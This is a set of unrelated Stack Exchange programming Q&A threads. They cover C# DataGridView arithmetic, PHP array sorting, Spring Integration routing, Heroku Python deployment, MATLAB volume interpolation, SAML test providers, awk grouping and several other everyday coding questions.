text:
Q: Datagridview rows multiplication and sum I used code for sum cells of datagridview1 like below
private void dataGridView1_CellValueChanged(object sender, DataGridViewCellEventArgs e)
{
    int sum = 0;
    for (i = 0; i < dataGridView1.Rows.Count - 1; i++)
    {
        if (dataGridView1.Rows[i].Cells[0].Value != null)
        {
            sum += Convert.ToInt32(dataGridView1.Rows[i].Cells[0].Value.ToString());
            label1.Text = Convert.ToString(sum);
        }
    }
}

but i want my cell[0].value sum is shown in label1 is ok like below,but if i can use multiplied by any numbers in other cells  like below image the answer should be = 60
see below details how its come

5+4 = 9 * 2 = 18
(18+2) * 3 = 60

A: Try this solution:
int sum = 0;
for (int i = 0; i < dataGridView1.Rows.Count - 1; i++)
{
    //for 1st column
    if (dataGridView1.Rows[i].Cells[0].Value != null && !String.IsNullOrEmpty(dataGridView1.Rows[i].Cells[0].Value.ToString()))
        sum += Convert.ToInt32(dataGridView1.Rows[i].Cells[0].Value.ToString());

    //for 2nd column
    if (dataGridView1.Rows[i].Cells[1].Value != null && !String.IsNullOrEmpty(dataGridView1.Rows[i].Cells[1].Value.ToString()))
        sum *= Convert.ToInt32(dataGridView1.Rows[i].Cells[1].Value.ToString());

    //for 3rd column
    if (dataGridView1.Rows[i].Cells[2].Value != null && !String.IsNullOrEmpty(dataGridView1.Rows[i].Cells[2].Value.ToString()))
        sum *= Convert.ToInt32(dataGridView1.Rows[i].Cells[2].Value.ToString());
}

label1.Text = Convert.ToString(sum);

Assign sum to label1 after all calculations. Its useless to do it in every iteration.

A: I think i have a solution for you, but it requires a Gridview, and not a datagridview so leave a comment if you will use it otherwise ill delete this.
foreach(GridViewRow row in gridCriteria.Rows)
    {
      foreach(TableCell cell in row.Cells)
      {
          if(cell.Text != "")
          {
                int indexOf = row.Cells.GetCellIndex(cell);

              if(indexOf == 0)
              {
                  Sum += Convert.ToInt32(cell.Text);
              }
              else
              {
                  Sum *= Convert.ToInt32(cell.Text);
              }
         }
      }

    }


text:
Q: Sort array by value of a specific key I've got an array as such:
$currentTerm = array(
  'name' => $term->name,
  'weight' => $term->weight
);

I'd like to sort the entire array by the weight key. I can't figure out how to accomplish this. Any thoughts or should I write a custom function for this?
P.S Some weights can be the same; so storing them as a key isn't an option. And it's multidimensional with a children key which is filled recursively the same way as above.

A: You can create a custom sorting method usort().
It would work similarly to this:
usort($array, function($a,$b) {
    if($a->weight === $b->weight) return 0;
    return ($a->weight < $b->weight) ? -1 : 1;
});

If people from the PHP7 future come here, they can just use this (spaceships!):
usort($array, function($a,$b) {
    return $a->weight <=> $b->weight;
});

A full (and cumbersome) example for pre-PHP7 would be:
<?php
class Obj {
    public $name;
    public $weight;

    function __construct($name,$weight) {
        $this->name = $name;
        $this->weight = $weight;
    }
}
$array = array(
    new Obj("A",3),
    new Obj("B",10),
    new Obj("C",8),
);

usort($array, function($a,$b) {
    if($a->weight == $b->weight) return 0;
    return ($a->weight < $b->weight) ? -1 : 1;
});

print_r($array);

?>

A: Take a look at array_multisort()
$weight = array();
foreach ($currentTerm as $key => $row)
{
    $weight[$key] = $row['weight'];
}

then
array_multisort($weight, SORT_ASC, $currentTerm);

or
array_multisort($weight, SORT_DESC, $currentTerm);

A: You can try this code:
//define a comparison function
function cmp($a, $b) {
    if ($a['status'] == $b['status']) {
        return 0;
    }
    return ($a['status'] < $b['status']) ? -1 : 1;
}

usort($array, "cmp");

redpajama_set_name: RedPajamaStackExchange


text:
Q: how to implement integration router in java i am trying to convert below XML snippet into Java version, appreciate any help here
<int:router input-channel="channel_in" default-output-channel="channel_default"
  expression="payload.name" ignore-channel-name-resolution-failures="true">
    <int:mapping value="foo" channel="channel_one" />
    <int:mapping value="bar" channel="channel_two" />
</int:router>

Here is what i did for my concrete example
@Router(inputChannel = "routerChannel")
    public String route(Account message) {
        if (message.getType().equals("check")) {
            return "checkChannel";
        } else if (message.getType().equals("credit")) {
            return "creditChannel";
        }
        return "errorChannel";
}

@Bean
public DirectChannel checkChannel() {
    return new DirectChannel();
}

when i do above i am seeing below error
org.springframework.messaging.MessageDeliveryException: Dispatcher has no subscribers for channel 'application:8090.checkChannel'.;

A: All the Spring Integration custom tag has a description like this:
<xsd:element name="router" type="routerType">
    <xsd:annotation>
        <xsd:documentation>
            Defines a Consumer Endpoint for the
            'org.springframework.integration.router.AbstractMessageProcessingRouter' implementation
            that serves as an adapter for invoking a method on any
            Spring-managed object as specified by the "ref" and "method" attributes.
        </xsd:documentation>
    </xsd:annotation>
</xsd:element>

So, it becomes pretty clear that we need some AbstractMessageProcessingRouter implementation to be present in the Java Configuration.
Also we have a paragraph in the Reference Manual like this:

With XML configuration and Spring Integration Namespace support, the XML Parsers hide how target beans are declared and wired together. For Java & Annotation Configuration, it is important to understand the Framework API for target end-user applications.

According your expression="payload.name" we need to look for the ExpressionEvaluatingRouter and then also read a chapter about @Bean configuration:
    @Bean
    @Router(inputChannel = "channel_in")
    public ExpressionEvaluatingRouter expressionRouter() {
        ExpressionEvaluatingRouter router = new ExpressionEvaluatingRouter("payload.name");
        router.setDefaultOutputChannelName("channel_default");
        router.setChannelMapping("foo", "channel_one");
        router.setChannelMapping("bar", "channel_two");
        return router;
    }


text:
Q: I am having some difficulty using "git push heroku master" on a recently installed python+otree combination on a Windows 10 system thanks for your help.
It seems that when I attempt to git push heroku master, I get the following error:
remote: -----> Installing python-3.6.12
remote: -----> Installing pip 20.1.1, setuptools 47.1.1 and wheel 0.34.2
remote: -----> Installing SQLite3
remote: -----> Installing requirements with pip
remote:        Collecting otree>=2.5.0
remote:          Downloading otree-3.0.6.tar.gz (847 kB)
remote:            ERROR: Command errored out with exit status 1:
remote:             command: /app/.heroku/python/bin/python -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-mka_62qe/otree/setup.py'"'"'; __file__='"'"'/tmp/pip-install-mka_62qe/otree/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /tmp/pip-pip-egg-info-5rga_gck
remote:                 cwd: /tmp/pip-install-mka_62qe/otree/
remote:            Complete output (3 lines):
remote:
remote:            Error: This version of oTree requires Python 3.7 or higher.
remote:
remote:            ----------------------------------------
remote:        ERROR: Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
remote:  !     Push rejected, failed to compile Python app.
remote:
remote:  !     Push failed
remote: Verifying deploy...
remote:
remote: !       Push rejected to projectivity-experiment.
remote:
To https://git.heroku.com/projectivity-experiment.git
! [remote rejected] master -> master (pre-receive hook declined)
error: failed to push some refs to 'https://git.heroku.com/projectivity-experiment.git'

I am not sure what it is about Python since I have version 3.8.5 installed on the computer but it seems to be installing python-3.6.12 (which is lower than the indicated required python version for some reason)

A: To fix the issue of Python version make a file called runtime.txt at the root with your Procfile.
python-3.8.3


text:
Q: Creating non-linear function to calculate points per distance in reversed order. I have a small game in which I want to give points according to closeness to location, so the maximum points will be given for the minimal number = 1.
It's similar to GeoGuesser game.
Here is the data :
The max distance is 30,000,000 (minimum points) = 0 points
The min `distance is 1 (maximum points) ~ 1000 points
The function should not be linear (as I understand) since I want the distribution to be smaller on the low distance and higher on the higher distances.
I.E. 1m should give 1000 pts. , 1000m should give 900 pts. , 10000m should give 700 pts. etc... (so each meter has less affect as we come near the maximum).
I've found a similar function but the ranges are different and I wan't able to adjust it to my data : example
Thank you


text:
Q: matlab interpolation for calculating volume within a given area I have some depth measurements and corresponding area at each depth of a water column:
depth = [0,2,4,6,7,9,10];
Area = [2000,1890,1873,1654,1523,1433,1200];

figure(1);
plot(Area,depth);set(gca,'ydir','reverse');

I want to calculate the volume of water between each depth indicated and then calculating the entire volume of water from this. Firstly I have interpolated the depth and area values to improve the accuracy of the calculation:
dz = 0.1;
newD = min(depth):dz:max(depth);
newA = interp1(depth,Area,newD);

figure(2);
plot(newA,newD);set(gca,'ydir','reverse');

Where would I go from here for calculating the volume of water between each of the depths?

A: To get volume you multiply area by height. Hence, since your dz is constant, to get water volumes at chosen depths you need to multiply
newA*dz

To get the total volume you sum it up
sum(newA*dz)

Your calculations are done assuming linear change of water area with depth (that's what you achieve with interp1). I am sure you can manage to integrate a linear function analytically instead of using your current approach. You can easily get an exact number.

A: You actually want to multiply the areas by the total depth, not the depth step:
volume = newA.*newD;
totalVolume = sum(volume);


text:
Q: What's the best way to serve up multiple binary files from a single WebApi method? I have an ASP.NET MVC 4 Web Api controller method that gets passed a list of file IDs and returns thumbnail images for those files.
So, the client might pass in a list of numeric IDs (e.g. 10, 303, 29), and the method returns a List where a ThumbnailImage looks a bit like this:
class ThumbnailImage
{
    public int Id { get; set; }
    // Some other stuff
    public byte[] RawData { get; set; }
}

The reason that the caller passes in a list of IDs rather than making one call per item should hopefully be obvious - there may be dozens or hundreds of items to download, and I'm trying to avoid all the HTTP traffic that would be required to download them individually.
Currently, I'm using RestSharp and JSON.NET, and so my ThumbnailImage objects are being passed across the wire as JSON. It's fine from a simplicity-of-coding point of view, but JSON is not an efficient way to represent that binary data.
So, I'm thinking that I should return the raw bytes as an octet-stream... however, while I can easily do that for a single image, I'm not sure of the best way to do it for multiple images, especially when I also need to return the ID and miscellaneous other information for each file. (The ID is required since the results will not necessarily be returned in a given order - and some files may be missing).
I could simply write everything piecemeal into the response stream, so that for each item I write the ID (suitably encoded), followed by the length of the image data, followed by the image data itself, and then followed by the same thing for the next item, etc.
The caller would then simply keep reading from the stream until it was exhausted, making assumptions about the encoding (and length!) of the IDs, etc.
I think that would work, but it seems clunky - is there a better way?

A: You could create a compressed file (e.g. a ZIP file) out of all the thumbnails and send that back.
Then the caller just has to unzip it their end - sending a single file containing multiple files is going to be far more acceptable then sending multiple files in a single stream.
Disadvantage is you're less likely to be able to take advantage of caching (depending on your usage patterns of course).

A: OK, here's a snippet of code that seems to work, using the MultipartContent that KiranChalla referred to. (This is just a dummy sample that shows how to return two files of different types, in conjunction with a JSON-encoded "object" (which in this case is just a list of integer IDs).
public HttpResponseMessage Get()
{
    var content = new MultipartContent();
    var ids = new List<int>() { 1, 2 };

    var objectContent = new ObjectContent<List<int>>(ids, new System.Net.Http.Formatting.JsonMediaTypeFormatter());
    content.Add(objectContent);

    var file1Content = new StreamContent(new FileStream(@"c:\temp\desert.jpg", FileMode.Open));
    file1Content.Headers.ContentType = System.Net.Http.Headers.MediaTypeHeaderValue.Parse("image/jpeg");
    content.Add(file1Content);

    var file2Content = new StreamContent(new FileStream(@"c:\temp\test.txt", FileMode.Open));
    file2Content.Headers.ContentType = System.Net.Http.Headers.MediaTypeHeaderValue.Parse("text/plain");
    content.Add(file2Content);

    var response = new HttpResponseMessage();
    response.Content = content;
    return response;
}

A: One challenge I see is that based on the number of images being sent back the caller has to adjust their timeout value. If this was for a book store, there could be a lot of images sent back.
What if you only sent back the urls for each image and leave it up to the caller to get the actual image? It would mean a little more traffic with multiple calls but the caller would get back information sooner than later and then get the images based on the caller's requirement.
I could be wrong, but I thought the idea behind rest was to identify each resource versus bundling a bunch of images and calling that a resource. Just a thought...


text:
Q: Service providers with SAML version 2 for SSO accessible to public? I'm wondering if there are any publicly available SAML version 2 SPs (Service Providers) that can be used to test SSO(Single Sign On)
Salesforce and Google apps both have an SSO solution, but how to go get access to them and what is the cost for those services?
I could setup a service provider using OpenSSO on an another system for my testing purpose.

A: SSOCircle - SAML/OpenID IDP
I can't recommend because I haven't used it, but it sounds promising, so worth trying.
They provide free public users and integration with your own SP and additional features with premium accounts.

A: UPDATE: Samling is live again at https://fujifish.github.io/samling/samling.html
Samling is a serverless SAML IdP for the purpose if testing any SAML SP endpoint. It supports AuthnRequest and LogoutRequest.
It runs solely in the browser to simulate SAML responses returned from a SAML IdP - no registration, no servers, just a browser. You can control many aspects of the response - from success to various failures.
Simply setup the target URL for the SAML IdP to be https://fujifish.github.io/samling/samling.html, and you're done. If there is a SAMLRequest query param present on the request, Samling will parse, extract and populate the relevant fields.

If you don't want to use the online version, you can clone the samling repo from https://github.com/fujifish/samling and host it yourself - all you will need is a static file server.

A: Salesforce has a free developer edition you can sign up for at: http://developer.force.com.  It will enable you to test with them acting as either a SAML 2.0 SP or IDP.  It is quite simple to sign up and use its SAML features for testing purposes.
For Google, they offer free 30 day Google Apps accounts for trial purposes - beyond that you need to pay.
As you say - there are loads others (like PingFederate or OpenAM) that you could either get for free, sign up for a trial for or purchase - if you want something in house.

A: You can definitely use miniOrange's SAML SSO with a variety of service providers. I knew nothing about how it all works, and got it setup using their free trial very quickly, as they have nice docs that step you through integrating with a variety of service providers, with Salesforce of course being one of them.
So:

*

*Sign up for a free trial here

*View their docs on how to integrate.

I don't work for them, I just found it was easy one to setup, and I tried SSOCircle and Salesforce as an IDP before these guys as well. FYI !

A: Shibboleth offer a publicly available SAML v2 SP and IdP; https://www.testshib.org/
Note - works with any SAML IdP/SP, not just shib.

A: Why not just use SimpleSAMLPHP? It's easy to set up, and can be used as a service provider. Google Apps is also pretty easy to set up as a SAML service provider.

A: Here is how you can use salesforce developer's account to set up your IdP and test it with an example service provider hosted on heroku
STEP 1: Establish a Federation Id
 For this single sign-on implementation, we'll set a user attribute that
 links the user between their Salesforce organization and an external
 application.

*

*From Setup in your salesforce developer's account, enter Users in
the   Quick Find box, then select Users. Click Edit next to your
current user.  In the Single Sign On Information section, enter the
Federation ID:   admin@universalcontainers.com. For this example, we
arbitrarily made up a Federation ID. The Federation ID is a unique
username for each user that can be shared across multiple applications.
Sometimes this is the employee ID for that user. Click Save.

STEP 2: Set up your Identity Provider

*

*In a new browser window, go to http://axiomsso.herokuapp.com.

*Click SAML Identity Provider & Tester. Click Download the Identity
Provider Certificate. The certificate validates signatures, and you
need to upload it to your Salesforce organization. Remember where
you save it.

*In your Salesforce organization, from Setup, enter
Single Sign-On Settings in the Quick Find box, then select Single
Sign-On Settings. Click Edit. Select SAML Enabled. Click Save.

*In SAML Single Sign-On Settings, click New. Enter the following values.
Name: Axiom Test App
Issuer: http://axiomsso.herokuapp.com Identity
Provider Certificate: Choose the file you downloaded in step 3.
Request Signing Certificate: Select a certificate. If no
certificate is available, leave as Generate self-signed
certificate.
SAML
Identity Type: Select Assertion contains the Federation ID from the
User object.
SAML Identity Location: Select Identity is in the
NameIdentifier element of the Subject statement.
Service Provider Initiated Request Binding: Select HTTP Redirect.
Entity Id: Enter your My Domain name including "https", such as
https://universalcontainers.my.salesforce.com Click Save and leave
the browser page open.

STEP 3: Generate SAML

*

*Return to Axiom at http://axiomsso.herokuapp.com. Click generate a
SAML response. Enter the following values (other fields can be left
blank).
 SAML 2.0
 Username or Federated ID: admin@universalcontainers.com
 Issuer: http://axiomsso.herokuapp.com
 Recipient URL: Get that from the Salesforce SAML Single Sign-On
 Setting page. (If you didn't keep that page open, from Setup,
 enter Single Sign-On Settings in the Quick Find box, then select
 Single Sign-On Settings, and then click Axiom Test App.) Use the
 Salesforce Login URL value.


text:
Q: How can I use Repository I use Dagger2 and Moxy with MVP. As I understand, Presenter can call the Repository for loading and unloading data from the database. But I just can not figure out how to create an instance of the repository: in the Activity with the help of Dagger and transfer to the presenter or in the presenter itself?
I used Repository in Activity but I think it's an anti-pattern.
It provides Context
 @Module
 public class AppModule {
   private Context context;

   public AppModule(Context context){
       this.context = context;
   }

   @Singleton
   @Provides
   Context provideContext(){
       return context;
   }
 }

This module provides Room
 @Module
 public class RoomModule {
   @Singleton
   @Provides
   AppDataBase providesAppDataBase(Context context) {
     return Room.databaseBuilder(context, AppDataBase.class, "budget")
             .fallbackToDestructiveMigration()
             .allowMainThreadQueries()
             .build();
   }

@Singleton
@Provides
BudgetDao providesDao(AppDataBase database) {
    return database.getBudgetDao();
 }

 @Singleton
 @Provides
 DetailDao providesDetailDao(AppDataBase dataBase){
     return dataBase.getDetailDao();
 }
  }

AppComponent
@Singleton
@Component(modules = {RoomModule.class, AppModule.class})
public interface AppComponent {

void inject(BudgetListPresenter presenter);

void inject(BudgetsActivity activity);

void inject(DetailActivity activity);
 }

Repository.class
 @Singleton
 public class BudgetListRepository implements BudgetRepository {
 private BudgetDao budgetDao;

 @Inject
 public BudgetListRepository(BudgetDao budgetDao){
     this.budgetDao = budgetDao;
 }

 @Override
 public void updateBudget(Budget budget) {
     budgetDao.updateBudget(budget);
 }

 @Override
 public void addBudget(Budget budget) {
     budgetDao.insertBudget(budget);
 }

 @Override
 public void deleteBudget(Budget budget) {
     budgetDao.deleteBudget(budget);
 }

 @Override
 public Budget getBudget(String id) {
     return budgetDao.getBudget(id);
 }

 @Override
 public List<Budget> getAll() {
     return budgetDao.getAll();
 }
}

A: The flow should be like this
First, you call a method from your view to your presenter.
Then, in your presenter, you need to communicate with any use case in your domain layer and that layer has the responsibility to inject the repository with dagger.
Let me show you an example
From your presenter, you inject your use case (interactor), this will be the responsable to communicate with the repository later
class LoginPresenter @Inject constructor(private val signInInteractor: SignInInteractor) : LoginContract.Presenter {
...

override fun signInWithEmailAndPassword(email: String, password: String) {
signInInteractor.signInWithEmailAndPassword(email, password)
...

Then your interactor should inject the repository like this
class SignInInteractorImpl @Inject constructor(val userRepository: UserRepository): SignInInteractor{
...

 override suspend fun pushUserIntoDatabase(account: GoogleSignInAccount): Unit = suspendCancellableCoroutine { continuation ->
        userRepository.createUser(account.displayName!!,account.email!!,object : UserRepository.UserRepositoryCallback{

            override fun onRemoteSuccess() {
                //success
            }

            override fun onRemoteFailure(errormsg:String) {
                //failure
            }

        })

    }

In this case I just use inside my use case a call to the repository to push data into Firebase
And in my PresentationModule I just inject that repo
 @Provides
    @Singleton
    fun provideUserRepositoryToLogin(userRepository: UserRepository): SignInInteractor {
        return SignInInteractorImpl(userRepository)
    }

This is the concept to follow


text:
Q: ASP.NET Core only returning first value of a collection in an entity I have a class MyEntity with a collection within it:
public class MyEntity
{
    [Key]
    public int MyId { get; set; }
    [Display(Name = "Process Name")]
    public string ProcessName { get; set; }
    public ICollection<Step> ProcessSteps { get; set; }
}

A one-many relationship with class Step:
public class Step
{
    ...
    [ForeignKey("MyEntityForeignKey")]
    public MyEntity { get; set; }
}

Below is the API call to return a specified MyEntity:
public async Task<IActionResult> MyEntity(int? id)
{
    if (id == null)
    {
        return Ok(await _context.MyEntity.ToListAsync());
    }

    var process = _context.MyEntity.Where(f => f.MyId == id).Include(g => g.ProcessSteps);

    if (process.Count() == 0)
    {
        return NotFound();
    }

    return Ok(process.First());
}

When running this, everything looks great except for the collection. While debugging, the correct values are shown. Even though I have 2+ items in these collections, it always returns just the first item in the ProcessSteps collection from MyClass when it returns the response Ok.
Edit:
It looks like returning the response with my foreign key attached was the culprit. Iterating through and nulling the foreign key seems to have fixed things.
foreach (Step step in MyEntity.ProcessSteps)
{
     Step.MyEntity = null;
}

return Ok(MyEntity.ProcessSteps)

A: I had a similar issue, where only the first entity of the target collection was returned unless I was setting to null all the inner references. However I was able to solve this by mapping my model to dto object (or ViewModel) before returning it. The dto has usually a subset of the model entity. In this way I did not have to set to null the inner references.
In general I think it is a good practice to return to the client only the properties that are strictly needed, without giving the whole model object.


text:
Q: How to load Doubleclick ads along side dynamic content I have been trying to get Doubleclick ad tags to load with my dynamic content. I have a website which loads more content as you scroll down rather than having to go to the next page, back a page, etc. However I have been unsuccessful in getting my ads which I have on every 2nd to 3rd page to load.
Does anyone know how to do this?
Thanks.
edit
Code in the header:
<script type='text/javascript'>
    googletag.cmd.push(function() {
    googletag.defineSlot('/XXX/XXX', [300, 250], 'div-gpt-ad-XXX-0').addService(googletag.pubads());

    googletag.pubads().enableSingleRequest();
    googletag.enableServices();
    });
</script>

I have also tried removing "enableSingleRequest" however that didn't seem to help.
Ad code in body:
<div id='div-gpt-ad-XXX-0' style='width:300px; height:250px;'>
    <script type='text/javascript'>
        googletag.cmd.push(function() { googletag.display('div-gpt-ad-XXX-0'); });
    </script>
</div>

A: I worked this out.
jQuery.load was stripping the script tags from my html after loading it and DFP didn't like that. I ended up using https://github.com/coop182/jquery.dfp.js and it solved all the issue.


text:
Q: Getting traceback information from IronPython exceptions I have IronPython hosted within my application, whenever I catch an exception thrown from a script, I get unhelpful gibberish like this:
IronPython.NewTypes.System.Exception_1$1: Error occurred during conversion ---> Microsoft.Scripting.ArgumentTypeException: expected int, got DispMethod
   at _stub_$245##245(Closure , CallSite , Object )
   at Microsoft.Scripting.Actions.MatchCaller.Call1[T0,TRet](Func`3 target, CallSite site, Object[] args)
   at Microsoft.Scripting.Actions.CallSite`1.UpdateAndExecute(Object[] args)
   at Microsoft.Scripting.Actions.UpdateDelegates.Update1[T,T0,TRet](CallSite site, T0 arg0)
   at _stub_$227##227(Closure , CallSite , Object )
   at IronPython.Runtime.Converter.Convert(Object value, Type to)
   at IronPython.Runtime.Operations.ArrayOps.SetItem(Array data, Int32 index, Object value)
   at _stub_$244##244(Closure , CallSite , Object , Object , Object )
   at Microsoft.Scripting.Actions.MatchCaller.Call3[T0,T1,T2,TRet](Func`5 target, CallSite site, Object[] args)
   at Microsoft.Scripting.Actions.CallSite`1.UpdateAndExecute(Object[] args)
   at Microsoft.Scripting.Actions.UpdateDelegates.Update3[T,T0,T1,T2,TRet](CallSite site, T0 arg0, T1 arg1, T2 arg2)
   at ConvertToFgf$223##223(Closure , Object , Object , Object )
   at _stub_$192##192(Closure , CallSite , CodeContext , Object , Object , Object , Object )
   at Microsoft.Scripting.Actions.MatchCaller.Call5[T0,T1,T2,T3,T4,TRet](Func`7 target, CallSite site, Object[] args)
   at Microsoft.Scripting.Actions.CallSite`1.UpdateAndExecute(Object[] args)
   at Microsoft.Scripting.Actions.UpdateDelegates.Update5[T,T0,T1,T2,T3,T4,TRet](CallSite site, T0 arg0, T1 arg1, T2 arg2, T3 arg3, T4 arg4)
   at Convert$224##224(Closure , Object , Object )
   --- End of inner exception stack trace ---
   at Convert$224##224(Closure , Object , Object )
   at _stub_$42##42(Closure , CallSite , CodeContext , Object , Object , Object )
   at Microsoft.Scripting.Actions.MatchCaller.Call4[T0,T1,T2,T3,TRet](Func`6 target, CallSite site, Object[] args)
   at Microsoft.Scripting.Actions.CallSite`1.UpdateAndExecute(Object[] args)
   at Microsoft.Scripting.Actions.UpdateDelegates.Update4[T,T0,T1,T2,T3,TRet](CallSite site, T0 arg0, T1 arg1, T2 arg2, T3 arg3)
   at Run$225##225(Closure )

What I would like to get instead is the python traceback. Is there anyway to get this information?

A: If you just need a text version you can do:
engine.GetService<ExceptionOperations>().FormatException(exception);

If you really need the Python track back object I would suggest:
Func<PythonTuple> exc_info = engine.Operations.GetMember<Func<PythonTuple>>(engine.GetSysModule(), "exc_info");

Save that somewhere useful and then when you need to invoke it:
TraceBack tb = (TraceBack)exc_info()[2];

That'll work as long as you're catching the exception.
A slightly less supported but easier way to do this would be:
TraceBack tb = PythonOps.GetExceptionInfoLocal(context, exception)[2];

But you need a CodeContext to do this.  In 2.0 you can get a CodeContext by:
new CodeContext(new PythonDictionary(), HostingHelpers.GetLanguageContext(engine));


text: Q: Telegram too many requests I have been trying to create a mailing bot in telegram. I get a lot of 429 errors after some time, even though it sends only 8 messages a second which is a lot less than 30 a second (number which is allowed by telegram). Was wandering maybe it is because telegram tries to retry sending messages after unsuccessful request, so i get a lot of extra requests?


text:
Q: Mongodb design advice - todo list I'm creating a kind of project management app which consists of 'jobs' and 'entities' (or tasks) within those jobs. As part of it I'm creating a todo list which should be unique to each user and I'm wondering what the best design is for the database?
Entities exist in their own collection and are related to jobs through a jobId field.
My initial thought was to structure it like:
Entity
    Todos[]
         User1
               Todo1
               Todo2
               ...
         User2
         ...

I also have a users collection so would it better to store the todos there like:
User
     Todos[]
           Entity
                Todo1
                Todo2
                ...

Or some other method?? I think updating and deleting todos will be quite tricky..
Update
Option 3 - I could remove the user array and store the user on each todo object, like:
Entity
     Todos[]
           Todo{
                 User: John
                 Text: some todo
                 Done: false

Then filter all todos by a specific user. I will get some duplicate data (the user) but I don't think that's so bad..
Also when updating/deleting a todo is it safe to match it based on the text field or do I need to store a unique id on each todo?

A: I believe that your initial thought is the best of the two.  In it, the User is referenced.  In the second it looks like a user document with the todos in it.  I think that is a little too much coupling, the first method being better decomposed and easier to modify/maintain as the reasons dictate in the future.


text:
Q: Displaying Member info including Roles using Sql Membership Provider I wish to create a summary table of all users with the database tables setup according to SqlMembershipProvider schema. So far, I have:
<asp:GridView ID="UserAccounts" runat="server" AutoGenerateColumns="False">
    <Columns>
        <asp:BoundField DataField="UserName" HeaderText="UserName" />
        <asp:BoundField DataField="Email" HeaderText="Email" />
        <asp:TemplateField HeaderText="Role">
            <ItemTemplate>
                <asp:TextBox ID="RoleText" ReadOnly="true" runat="server">
                </asp:TextBox>
            </ItemTemplate>
        </asp:TemplateField>
    </Columns>
</asp:GridView>

for the table, and codebehind:
UserAccounts.DataSource = Membership.GetAllUsers();
UserAccounts.DataBind();

To generate the list of users. However, as those of you who are familiar with SQLmembershipprovider, the roles associated with users are housed in multiple separate tables. Therefore, I'm not sure how to retrieve that information and have it display beside each user.
The solution I am currently thinking of is to somehow traverse the table row by row and then calling Roles.GetRolesForUser() on that username to retrieve the information and then binding that to the table. However, I'm not sure of exactly how to do this and if it's even the most efficient method.

A: You can this method and with DataTable
public DataSet CustomGetAllUsers()    {
        DataSet ds = new DataSet();
        DataTable dt = new DataTable();
        dt = ds.Tables.Add("Users");

        MembershipUserCollection muc;
        muc = Membership.GetAllUsers();

        dt.Columns.Add("UserName", Type.GetType("System.String"));
        dt.Columns.Add("Email", Type.GetType("System.String"));
        dt.Columns.Add("CreationDate", Type.GetType("System.DateTime"));

        /* Here is the list of columns returned of the Membership.GetAllUsers() method
         * UserName, Email, PasswordQuestion, Comment, IsApproved
         * IsLockedOut, LastLockoutDate, CreationDate, LastLoginDate
         * LastActivityDate, LastPasswordChangedDate, IsOnline, ProviderName
         */

        foreach(MembershipUser mu in muc) {
            DataRow dr;
            dr = dt.NewRow();
            dr["UserName"] = mu.UserName;
            dr["Email"] = mu.Email;
            dr["CreationDate"] = mu.CreationDate;
            dt.Rows.Add(dr);
        }
        return ds;
    }

Bind :
UserAccounts.DataSource = CustomGetAllUsers().Tables[0] ;
UserAccounts.DataBind();

You can also adapt your ItemTemplate with Eval.DataBinder

A: Try binding to
    var userRoles = from MembershipUser user in Membership.GetAllUsers()
                    from role in Roles.GetRolesForUser(user.UserName)
                    select new {
                        UserName = user.UserName, Email = user.Email, Role = role };

or
    var userRoles = from MembershipUser user in Membership.GetAllUsers()
                    let roles = Roles.GetRolesForUser(user.UserName)
                    select new {
                        UserName = user.UserName,
                        Email = user.Email,
                        Roles = string.Join(", ",  roles) };


text:
Q: Group second column based on first column awk Can someone please help in parsing the following data. Below are the input, output and tried attempt details.
Input data:
foo 1
bar 12
foo 23
foo 45
bar 223
bar 123
bar 3478
foo 45
zoo 1
zoo 0987
foo 5

Output data:
foo 1 23 45 45 5

bar 12 223 123 3478

zoo 1 0987

Attempt(Failed):
awk '{a[$1]=$2;next}END{for(i in a) print i,a[i]}' input
zoo 0987
foo 5
bar 3478

A: You may try this awk:
awk '{map[$1] = map[$1] OFS $2} END {for (i in map) print i map[i] ORS}' file

zoo 1 0987

foo 1 23 45 45 5

bar 12 223 123 3478

If you want to maintain original order of keys then use:
awk '!($1 in map) {ord[++n] = $1} {map[$1] = map[$1] OFS $2} END {for (i=1; i<=n; ++i) print ord[i] map[ord[i]] ORS}' file

foo 1 23 45 45 5

bar 12 223 123 3478

zoo 1 0987


text:
Q: element not extending 100% and background color gone I am studying html and css and I currently have this code that I am working on. The everything was working fine. I was adding code little by little and then it was not working as expected. Here is the code:
<!doctype html>

<title>Home</title>

Football

Baseball

Soccer

Tennis

Ice Soccer

Basketball

That guy has the ball

In what has to be considered a development of the utmost importance, that man over there now has the ball.

By Rick Boucher | <time>January 1, 2012</time>

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla accumsan felis quis nibh pretium tempus. Nullam quis rhoncus massa. Vivamus laoreet convallis sem ac dapibus. Donec varius congue sem ac molestie. Nam purus neque, tincidunt ut aliquam dapibus, dictum a magna. Curabitur sagittis mi et ante aliquet tristique vitae nec justo. Quisque id tellus et quam pharetra lacinia nec id eros. Praesent fermentum dui id tellus aliquam tincidunt. Suspendisse eu ante sed est vestibulum dictum at sit amet nulla. Sed sed leo at ante consequat ullamcorper. Fusce mattis, justo sed eleifend bibendum, nunc risus pharetra est, ut rutrum libero justo et leo. Maecenas felis orci, porttitor eu venenatis vel, posuere in arcu. Phasellus sagittis pretium purus, vel semper massa aliquet sit amet.

In hac habitasse platea dictumst. Sed vitae libero et dui lobortis accumsan et non nisi. Suspendisse commodo purus vitae risus rutrum eget scelerisque erat vehicula. Nullam eu nunc purus. Nulla rutrum laoreet magna eu pharetra. In libero dolor, varius sed tempor quis, tempus a turpis. Nullam suscipit, nisi a cursus viverra, sapien dolor scelerisque mauris, auctor mattis leo ante auctor enim. Suspendisse nec sodales risus. Donec suscipit, justo eu tincidunt venenatis, metus odio rhoncus quam, mollis accumsan diam eros quis lectus.

Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aenean facilisis placerat dolor ut mattis. Duis vitae sem sapien. Vivamus orci mauris, ornare in fringilla vitae, pulvinar ut orci. Fusce pellentesque leo id arcu varius elementum. Vivamus id odio ac sapien pulvinar rutrum ut vitae libero. Nam eget rutrum mauris.

